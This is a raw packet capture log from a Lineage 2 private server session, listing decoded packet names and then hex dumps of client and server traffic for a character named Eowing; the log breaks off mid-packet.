+[PACKET] Server: 48 MagicSkillUse +[PACKET] Server: 54 MagicSkillLaunched +[PACKET] Server: FE:0C ExAutoSoulShot +[PACKET] Server: 62 SystemMessage +[PACKET] Server: 21 InventoryUpdate +[PACKET] Server: 62 SystemMessage +[PACKET] Server: 48 MagicSkillUse +[PACKET] Server: 48 MagicSkillUse +[PACKET] Server: 54 MagicSkillLaunched +[PACKET] Server: 0c NpcInfo (mob/morphed char?): template 21573, oid [268692314] [] +[PACKET] Server: 27 SocialAction +[PACKET] Server: Unknown packet 6C in state: IN_GAME +[PACKET] Server: 2f MoveToLocation +[PACKET] Server: 2f MoveToLocation +[PACKET] Server: 27 SocialAction +[PACKET] Client: 0f MoveBackwardToLocation +[PACKET] Server: 2f MoveToLocation +[PACKET] Client: 59 ValidatePosition +[PACKET] Server: 0c NpcInfo (mob/morphed char?): template 21573, oid [268692316] [] +[PACKET] Client: 59 ValidatePosition +[PACKET] Server: 2f MoveToLocation +[PACKET] Server: 27 SocialAction +[PACKET] Client: 1F Action [268477497] +[PACKET] Server: 23 TargetSelected [268636209] -> [268477497] +[PACKET] Server: B9 MyTargetSelected [268477497] +[PACKET] Server: 79 ValidateLocation +[PACKET] Server: 1F ActionFailed +[PACKET] Server: 27 SocialAction +[PACKET] Server: 27 SocialAction +[PACKET] Server: 27 SocialAction +[PACKET] Server: 2f MoveToLocation +[PACKET] Server: 2f MoveToLocation +[PACKET] Server: 27 SocialAction +[PACKET] Server: 27 SocialAction +[PACKET] Server: 2f MoveToLocation +[PACKET] Server: 2f MoveToLocation +[PACKET] Server: 27 SocialAction +[PACKET] Server: 48 MagicSkillUse +[PACKET] Server: 54 MagicSkillLaunched +[PACKET] Client: Unknown packet 01 in state: IN_GAME +[PACKET] Server: B9 MyTargetSelected [268477497] +[PACKET] Server: 18 StatusUpdate +[PACKET] Server: 21 InventoryUpdate +[PACKET] Server: 62 SystemMessage +[PACKET] Server: 6B SetupGauge +[PACKET] Server: Unknown packet 33 in state: IN_GAME +[PACKET] Client: 59 ValidatePosition +[PACKET] Server: 2f MoveToLocation +[PACKET] Server: 27 SocialAction +[PACKET] Client: 0f MoveBackwardToLocation +[PACKET] Server: 62 SystemMessage +[PACKET] Server: 25 AutoAttackStart +[PACKET] Server: 25 AutoAttackStart +[PACKET] Server: 21 InventoryUpdate +[PACKET] Server: 62 SystemMessage +[PACKET] Server: 48 MagicSkillUse +[PACKET] Server: 2f MoveToLocation +[PACKET] Server: 27 SocialAction +[PACKET] Server: 27 SocialAction +[PACKET] Server: 0c NpcInfo (mob/morphed char?): template 21555, oid [268692773] [] +[PACKET] Client: 59 ValidatePosition +[PACKET] Server: 2f MoveToLocation +[PACKET] Server: 2f MoveToLocation +[PACKET] Server: 18 StatusUpdate +[PACKET] Server: 2f MoveToLocation +[PACKET] Server: 27 SocialAction +[PACKET] Server: 2f MoveToLocation +[PACKET] Client: 14 RequestItemList +[PACKET] Server: 11 ItemList +[PACKET] Server: 2f MoveToLocation +[PACKET] Server: 2f MoveToLocation +[PACKET] Server: 18 StatusUpdate +[PACKET] Server: 2f MoveToLocation +[PACKET] Server: 2f MoveToLocation +[PACKET] Server: 2f MoveToLocation +[PACKET] Client: 19 UseItem oid 268692055 +[PACKET] Server: 21 InventoryUpdate +[PACKET] Server: 48 MagicSkillUse +[PACKET] Server: 62 SystemMessage +[PACKET] Server: 54 MagicSkillLaunched +[WARN] Server: Unknown opcode2 0001 for IN_GAME packet 0xFE +[PACKET] Server: 62 SystemMessage +[PACKET] Server: 32 UserInfo [Eowing] (52136,-54431,-3184) +[PACKET] Server: Unknown packet FA in state: IN_GAME +[PACKET] Server: 85 AbnormalStatusUpdate +[PACKET] Server: 18 StatusUpdate +[PACKET] Server: 2f MoveToLocation +[PACKET] Server: 27 SocialAction +[PACKET] Server: 2f MoveToLocation +[PACKET] Server: 27 SocialAction +[PACKET] Server: 2f MoveToLocation +[PACKET] Server: 18 StatusUpdate +[PACKET] Server: 2f MoveToLocation +[PACKET] Server: 2f MoveToLocation +[PACKET] Server: 2f MoveToLocation +[PACKET] Server: 27 SocialAction +[PACKET] Server: 27 SocialAction +[PACKET] Server: 2f MoveToLocation +[PACKET] Server: 27 SocialAction +[PACKET] Server: 27 SocialAction +[PACKET] Server: 18 StatusUpdate +[PACKET] Server: 27 SocialAction +[PACKET] Server: 27 SocialAction +[PACKET] Server: 27 SocialAction +[PACKET] Server: 18 StatusUpdate +[PACKET] Server: 2f MoveToLocation +[PACKET] Server: 27 SocialAction +[PACKET] Server: 18 StatusUpdate +[PACKET] Server: 26 AutoAttackStop +[PACKET] Server: 26 AutoAttackStop +[PACKET] Server: 2f MoveToLocation +[PACKET] Client: D0:24 RequestSaveInventoryOrder +[PACKET] Client: 00 LogoutRequest +[PACKET] Server: Unknown packet FA in state: IN_GAME +[PACKET] Server: 85 AbnormalStatusUpdate +[PACKET] Server: 84 LeaveWorld + +C: Len 267 | 0B 01 / 0E / 0C 00 00 00 09 07 54 56 03 09 0B 01 07 02 54 54 56 07 00 02 55 56 00 51 00 53 57 04 07 55 08 54 01 07 01 53 00 56 55 56 01 06 05 04 51 03 08 51 08 51 56 04 54 06 55 08 02 09 51 56 01 53 06 55 04 53 00 56 56 53 01 09 02 09 01 51 54 51 09 55 56 09 03 04 07 05 55 04 06 55 04 06 09 04 51 01 08 08 06 05 52 06 04 01 07 54 03 06 52 55 06 55 55 51 01 02 04 54 03 55 54 01 57 51 55 05 52 05 54 07 51 51 55 07 02 53 53 00 52 05 52 07 01 54 00 03 05 05 08 06 05 05 06 03 00 0D 08 01 07 09 03 51 03 07 53 09 51 06 07 54 0A 50 56 02 52 04 05 55 51 02 53 00 08 54 04 52 56 06 02 09 00 08 03 53 56 01 05 00 55 06 08 56 04 0D 06 07 52 06 07 04 0A 06 01 04 54 04 00 05 02 04 54 00 09 52 53 05 04 01 04 05 05 01 52 51 52 0D 06 51 08 09 54 53 00 0D 01 02 03 54 53 01 05 03 08 56 54 07 02 54 0B 06 82 A5 5B C7 +S: Len 24 | 18 00 / 2E / 01 7E 8A 25 2B EF 3B 53 57 C8 27 93 01 A1 6C 31 97 01 00 00 00 +C: Len 45 | 2D 00 / 2B / 65 00 6F 00 77 00 69 00 6E 00 67 00 00 00 36 43 A5 E9 DB 11 99 E0 68 B3 DF 0D 30 DF AB 19 01 00 00 00 01 D2 21 F0 1C 00 00 00 +S: Len 596 | 54 02 / 09 / 02 00 00 00 00 00 00 00 01 45 00 6F 00 77 00 69 00 6E 00 67 00 00 00 7A 0B 03 00 65 00 6F 00 77 00 69 00 6E 00 67 00 00 00 DB 11 99 E0 48 E3 02 10 00 00 00 00 01 00 00 00 00 00 00 00 5C 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 D9 B3 40 00 00 00 00 00 DA A6 40 E0 35 94 4A CD 2C 7D B3 02 00 00 00 52 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 AC 02 00 00 EF 24 00 00 EF 24 00 00 F0 24 00 00 04 1A 00 00 F1 24 00 00 CE 24 00 00 89 26 00 00 41 05 00 00 CF 24 00 00 CA 24 00 00 CD 24 00 00 D0 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 D9 B3 40 00 00 00 00 00 DA A6 40 00 00 00 00 5C 00 00 00 01 00 00 00 08 00 00 00 00 00 00 00 00 54 00 65 00 73 00 74 00 66 00 00 00 7A 0B 03 00 65 00 6F 00 77 00 69 00 6E 00 67 00 00 00 DB 11 99 E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 5F 40 00 00 00 00 00 00 43 40 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 41 09 00 00 00 00 00 00 00 00 00 00 7A 04 00 00 7B 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 5F 40 00 00 00 00 00 00 43 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +C: Len 21 | 15 00 / 12 / 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +S: Len 5 | 05 00 / 73 / 00 01 +C: Len 21 | 15 00 / 12 / 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +S: Len 296 | 28 01 / 0B / 45 00 6F 00 77 00 69 00 6E 00 67 00 00 00 7A 0B 03 00 3E 00 3E 00 2D 00 2D 00 2D 00 3E 00 00 00 DB 11 99 E0 48 E3 02 10 00 00 00 00 01 00 00 00 00 00 00 00 5C 00 00 00 01 00 00 00 7D CB 00 00 BF 2B FF FF 90 F3 FF FF 00 00 00 00 00 D9 B3 40 00 00 00 00 00 DA A6 40 E0 35 94 4A CD 2C 7D B3 02 00 00 00 52 00 00 00 00 00 00 00 00 00 00 00 15 00 00 00 2F 00 00 00 20 00 00 00 19 00 00 00 22 00 00 00 0B 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 23 11 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +S: Len 27 | 1B 00 / 6C / F7 AF 00 10 96 00 00 00 20 03 00 00 89 A2 00 00 67 FC 02 00 E6 F1 FF FF +S: Len 421 | A5 01 / 31 / 00 00 00 00 00 00 00 00 00 00 00 00 82 C0 00 00 30 FC 01 10 41 00 6E 00 67 00 61 00 6D 00 61 00 00 00 00 00 00 00 01 00 00 00 5C 00 00 00 00 00 00 00 23 02 00 00 99 1D 00 00 41 05 00 00 88 16 00 00 4E 09 00 00 00 00 00 00 94 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 5B 23 A3 39 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2B 01 00 00 A4 02 00 00 00 00 00 00 00 00 00 00 73 00 00 00 5C 00 00 00 7F 00 00 00 7F 00 00 00 73 00 00 00 5C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 DC AF FB 3F 00 00 00 A0 D3 06 02 40 00 00 00 00 00 00 20 40 00 00 00 00 00 00 37 40 05 00 00 00 03 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 09 00 00 00 00 00 00 5C 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF 00 82 C0 00 00 00 00 00 00 00 00 00 00 77 FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +S: Len 421 | A5 01 / 31 / FE 40 02 00 31 2A FF FF 38 F5 FF FF 82 C0 00 00 30 FC 01 10 41 00 6E 00 67 00 61 00 6D 00 61 00 00 00 00 00 00 00 01 00 00 00 5C 00 00 00 00 00 00 00 23 02 00 00 99 1D 00 00 41 05 00 00 88 16 00 00 4E 09 00 00 00 00 00 00 94 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 5B 23 A3 39 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2B 01 00 00 A4 02 00 00 00 00 00 00 00 00 00 00 73 00 00 00 5C 00 00 00 7F 00 00 00 7F 00 00 00 73 00 00 00 5C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 DC AF FB 3F 00 00 00 A0 D3 06 02 40 00 00 00 00 00 00 20 40 00 00 00 00 00 00 37 40 05 00 00 00 03 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 01 00 00 00 00 00 00 00 00 00 00 00 00 09 00 00 00 00 00 00 5C 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF 00 82 C0 00 00 00 00 00 00 00 00 00 00 77 FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +S: Len 11 | 0B 00 / 08 / 4E 32 04 10 00 00 00 00 +C: Len 5 | 05 00 / D0 / 01 00 +C: Len 5 | 05 00 / D0 / 21 00 +S: Len 167 | A7 00 / FE / 22 00 09 00 00 00 01 00 00 00 67 00 6C 00 75 00 64 00 69 00 6F 00 00 00 02 00 00 00 64 00 69 00 6F 00 6E 00 00 00 03 00 00 00 67 00 69 00 72 00 61 00 6E 00 00 00 04 00 00 00 6F 00 72 00 65 00 6E 00 00 00 05 00 00 00 61 00 64 00 65 00 6E 00 00 00 06 00 00 00 69 00 6E 00 6E 00 61 00 64 00 72 00 69 00 6C 00 00 00 07 00 00 00 67 00 6F 00 64 00 64 00 61 00 72 00 64 00 00 00 08 00 00 00 72 00 75 00 6E 00 65 00 00 00 09 00 00 00 73 00 63 00 68 00 75 00 74 00 74 00 67 00 61 00 72 00 74 00 00 00 +S: Len 9 | 09 00 / FE / 70 00 00 00 00 00 +C: Len 107 | 6B 00 / 11 / 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 C9 BC F2 A7 66 5A 0B 98 36 A5 BD 89 ED 7F E4 D7 6B 49 E2 9F EF 76 EB CE A3 FA F4 BF 0C 64 A3 B4 A4 CE DC C6 08 3E 6E EA 45 CA D3 FE 88 13 87 B8 06 2C 96 F0 9B 1E 8E BC C6 9B 98 C8 63 16 CF D0 29 00 00 00 0A E1 74 17 0A 08 00 08 5C 32 BD E1 5C 32 BE 6D 5C 32 BE 22 +S: Len 67 | 43 00 / 62 / DA 07 00 00 01 00 00 00 00 00 00 00 44 00 65 00 76 00 65 00 6C 00 6F 00 70 00 65 00 64 00 20 00 62 00 79 00 20 00 4C 00 32 00 44 00 72 00 65 00 61 00 6D 00 20 00 54 00 65 00 61 00 6D 00 00 00 +S: Len 11 | 0B 00 / 08 / AD 64 01 10 00 00 00 00 +S: Len 11 | 0B 00 / 08 / 96 45 04 10 00 00 00 00 +S: Len 11 | 0B 00 / 08 / A7 AD 01 10 00 00 00 00 +S: Len 11 | 0B 00 / 08 / 59 BE 01 10 00 00 00 00 +S: Len 11 | 0B 00 / 08 / DD 67 01 10 00 00 00 00 +S: Len 11 | 0B 00 / 08 / 63 6A 02 10 00 00 00 00 +S: Len 11 | 0B 00 / 08 / C5 5C 01 10 00 00 00 00 +S: Len 11 | 0B 00 / 08 / 59 BE 01 10 00 00 00 00 +S: Len 11 | 0B 00 / 08 / 30 FC 01 10 00 00 00 00 +S: Len 206 | CE 00 / 0C / 26 ED 03 10 73 96 0F 00 01 00 00 00 BC C5 00 00 F1 27 FF FF F8 F4 FF FF C2 F6 00 00 00 00 00 00 FD 00 00 00 16 01 00 00 A0 00 00 00 64 00 00 00 A0 00 00 00 64 00 00 00 A0 00 00 00 64 00 00 00 A0 00 00 00 64 00 00 00 9A 99 99 99 99 99 F1 3F 00 00 00 00 00 00 F0 3F 00 00 00 00 00 00 34 40 00 00 00 00 00 80 41 40 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 4C 00 36 00 35 00 20 00 53 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 40 00 00 00 00 00 80 41 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +S: Len 206 | CE 00 / 0C / DA EB 03 10 6D 96 0F 00 01 00 00 00 AC C3 00 00 B4 23 FF FF D0 F5 FF FF BD 9D 00 00 00 00 00 00 21 01 00 00 3D 01 00 00 AF 00 00 00 50 00 00 00 AF 00 00 00 50 00 00 00 AF 00 00 00 50 00 00 00 AF 00 00 00 50 00 00 00 9A 99 99 99 99 99 F1 3F 00 00 00 00 00 00 F0 3F 00 00 00 00 00 00 26 40 00 00 00 00 00 00 3C 40 B2 03 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 4C 00 36 00 34 00 20 00 53 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 26 40 00 00 00 00 00 00 3C 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +S: Len 206 | CE 00 / 0C / D9 EB 03 10 6D 96 0F 00 01 00 00 00 58 C2 00 00 B6 27 FF FF 90 F5 FF FF 6D D3 00 00 00 00 00 00 21 01 00 00 3D 01 00 00 AF 00 00 00 50 00 00 00 AF 00 00 00 50 00 00 00 AF 00 00 00 50 00 00 00 AF 00 00 00 50 00 00 00 9A 99 99 99 99 99 F1 3F 00 00 00 00 00 00 F0 3F 00 00 00 00 00 00 26 40 00 00 00 00 00 00 3C 40 B2 03 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 4C 00 36 00 34 00 20 00 53 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 26 40 00 00 00 00 00 00 3C 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +S: Len 206 | CE 00 / 0C / 25 ED 03 10 73 96 0F 00 01 00 00 00 68 C2 00 00 C9 29 FF FF E0 F5 FF FF CB 93 00 00 00 00 00 00 FD 00 00 00 16 01 00 00 A0 00 00 00 64 00 00 00 A0 00 00 00 64 00 00 00 A0 00 00 00 64 00 00 00 A0 00 00 00 64 00 00 00 9A 99 99 99 99 99 F1 3F 00 00 00 00 00 00 F0 3F 00 00 00 00 00 00 34 40 00 00 00 00 00 80 41 40 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 4C 00 36 00 35 00 20 00 53 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 40 00 00 00 00 00 80 41 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +S: Len 206 | CE 00 / 0C / DB EB 03 10 6D 96 0F 00 01 00 00 00 CE C2 00 00 2B 29 FF FF D8 F5 FF FF BD 42 00 00 00 00 00 00 21 01 00 00 3D 01 00 00 AF 00 00 00 50 00 00 00 AF 00 00 00 50 00 00 00 AF 00 00 00 50 00 00 00 AF 00 00 00 50 00 00 00 9A 99 99 99 99 99 F1 3F 00 00 00 00 00 00 F0 3F 00 00 00 00 00 00 26 40 00 00 00 00 00 00 3C 40 B2 03 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 4C 00 36 00 34 00 20 00 53 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 26 40 00 00 00 00 00 00 3C 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +S: Len 208 | D0 00 / 0C / A2 EB 03 10 78 96 0F 00 01 00 00 00 CD C4 00 00 53 2F FF FF E0 F4 FF FF 6E E7 00 00 00 00 00 00 FD 00 00 00 16 01 00 00 B4 00 00 00 13 00 00 00 B4 00 00 00 13 00 00 00 B4 00 00 00 13 00 00 00 B4 00 00 00 13 00 00 00 9A 99 99 99 99 99 F1 3F 00 00 00 00 00 00 F0 3F 00 00 00 00 00 00 20 40 00 00 00 00 00 00 3E 40 B2 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 4C 00 36 00 36 00 20 00 41 00 53 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 40 00 00 00 00 00 00 3E 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +S: Len 208 | D0 00 / 0C / A9 EC 03 10 7C 96 0F 00 01 00 00 00 C0 C6 00 00 F7 32 FF FF B0 F4 FF FF 0D B1 00 00 00 00 00 00 FD 00 00 00 16 01 00 00 B4 00 00 00 13 00 00 00 B4 00 00 00 13 00 00 00 B4 00 00 00 13 00 00 00 B4 00 00 00 13 00 00 00 9A 99 99 99 99 99 F1 3F 00 00 00 00 00 00 F0 3F 00 00 00 00 00 00 20 40 00 00 00 00 00 00 3E 40 B2 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 4C 00 36 00 37 00 20 00 41 00 53 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 40 00 00 00 00 00 00 3E 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +S: Len 208 | D0 00 / 0C / AA EC 03 10 7C 96 0F 00 01 00 00 00 82 C7 00 00 72 35 FF FF 60 F4 FF FF 59 08 00 00 00 00 00 00 FD 00 00 00 16 01 00 00 B4 00 00 00 13 00 00 00 B4 00 00 00 13 00 00 00 B4 00 00 00 13 00 00 00 B4 00 00 00 13 00 00 00 9A 99 99 99 99 99 F1 3F 00 00 00 00 00 00 F0 3F 00 00 00 00 00 00 20 40 00 00 00 00 00 00 3E 40 B2 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 4C 00 36 00 37 00 20 00 41 00 53 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 40 00 00 00 00 00 00 3E 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +S: Len 206 | CE 00 / 0C / 19 ED 03 10 6F 96 0F 00 01 00 00 00 B8 C7 00 00 34 31 FF FF F8 F4 FF FF F5 D7 00 00 00 00 00 00 21 01 00 00 3D 01 00 00 AF 00 00 00 50 00 00 00 AF 00 00 00 50 00 00 00 AF 00 00 00 50 00 00 00 AF 00 00 00 50 00 00 00 9A 99 99 99 99 99 F1 3F 00 00 00 00 00 00 F0 3F 00 00 00 00 00 00 26 40 00 00 00 00 00 00 3C 40 DD 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 4C 00 36 00 36 00 20 00 53 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 26 40 00 00 00 00 00 00 3C 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +S: Len 208 | D0 00 / 0C / 38 ED 03 10 80 96 0F 00 01 00 00 00 51 C4 00 00 22 32 FF FF F8 F4 FF FF EA 59 00 00 00 00 00 00 FD 00 00 00 16 01 00 00 AA 00 00 00 3C 00 00 00 AA 00 00 00 3C 00 00 00 AA 00 00 00 3C 00 00 00 AA 00 00 00 3C 00 00 00 9A 99 99 99 99 99 F1 3F 00 00 00 00 00 00 F0 3F 00 00 00 00 00 00 24 40 00 00 00 00 00 80 40 40 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 4C 00 36 00 38 00 20 00 41 00 53 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 24 40 00 00 00 00 00 80 40 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +S: Len 194 | C2 00 / 0C / 39 A4 00 10 62 BD 0F 00 00 00 00 00 A6 CA 00 00 F4 29 FF FF A1 F3 FF FF 80 59 00 00 00 00 00 00 FD 00 00 00 16 01 00 00 78 00 00 00 32 00 00 00 78 00 00 00 32 00 00 00 78 00 00 00 32 00 00 00 78 00 00 00 32 00 00 00 9A 99 99 99 99 99 F1 3F 00 00 00 00 00 00 F0 3F 00 00 00 00 00 00 20 40 00 00 00 00 00 00 36 40 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 40 00 00 00 00 00 00 36 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +S: Len 194 | C2 00 / 0C / 3A A4 00 10 63 BD 0F 00 00 00 00 00 13 C9 00 00 BC 2A FF FF AD F3 FF FF 20 2B 00 00 00 00 00 00 FD 00 00 00 16 01 00 00 78 00 00 00 32 00 00 00 78 00 00 00 32 00 00 00 78 00 00 00 32 00 00 00 78 00 00 00 32 00 00 00 9A 99 99 99 99 99 F1 3F 00 00 00 00 00 00 F0 3F 00 00 00 00 00 00 34 40 00 00 00 00 00 00 3E 40 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 40 00 00 00 00 00 00 3E 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +S: Len 208 | D0 00 / 0C / 37 ED 03 10 80 96 0F 00 01 00 00 00 30 CA 00 00 76 2E FF FF 80 F4 FF FF 41 7A 00 00 00 00 00 00 FD 00 00 00 16 01 00 00 AA 00 00 00 3C 00 00 00 AA 00 00 00 3C 00 00 00 AA 00 00 00 3C 00 00 00 AA 00 00 00 3C 00 00 00 9A 99 99 99 99 99 F1 3F 00 00 00 00 00 00 F0 3F 00 00 00 00 00 00 24 40 00 00 00 00 00 80 40 40 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 4C 00 36 00 38 00 20 00 41 00 53 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 24 40 00 00 00 00 00 80 40 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +S: Len 194 | C2 00 / 0C / 3B A4 00 10 66 BD 0F 00 00 00 00 00 1B CB 00 00 BF 37 FF FF E0 F3 FF FF F0 F7 FF FF 00 00 00 00 FD 00 00 00 16 01 00 00 78 00 00 00 32 00 00 00 78 00 00 00 32 00 00 00 78 00 00 00 32 00 00 00 78 00 00 00 32 00 00 00 9A 99 99 99 99 99 F1 3F 00 00 00 00 00 00 F0 3F 00 00 00 00 00 00 2E 40 00 00 00 00 00 80 40 40 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2E 40 00 00 00 00 00 80 40 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +S: Len 208 | D0 00 / 0C / 5C ED 03 10 7C 96 0F 00 01 00 00 00 27 CB 00 00 74 34 FF FF F0 F3 FF FF 19 C8 00 00 00 00 00 00 FD 00 00 00 16 01 00 00 B4 00 00 00 13 00 00 00 B4 00 00 00 13 00 00 00 B4 00 00 00 13 00 00 00 B4 00 00 00 13 00 00 00 9A 99 99 99 99 99 F1 3F 00 00 00 00 00 00 F0 3F 00 00 00 00 00 00 20 40 00 00 00 00 00 00 3E 40 B2 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 4C 00 36 00 37 00 20 00 41 00 53 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 40 00 00 00 00 00 00 3E 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +S: Len 208 | D0 00 / 0C / 5B ED 03 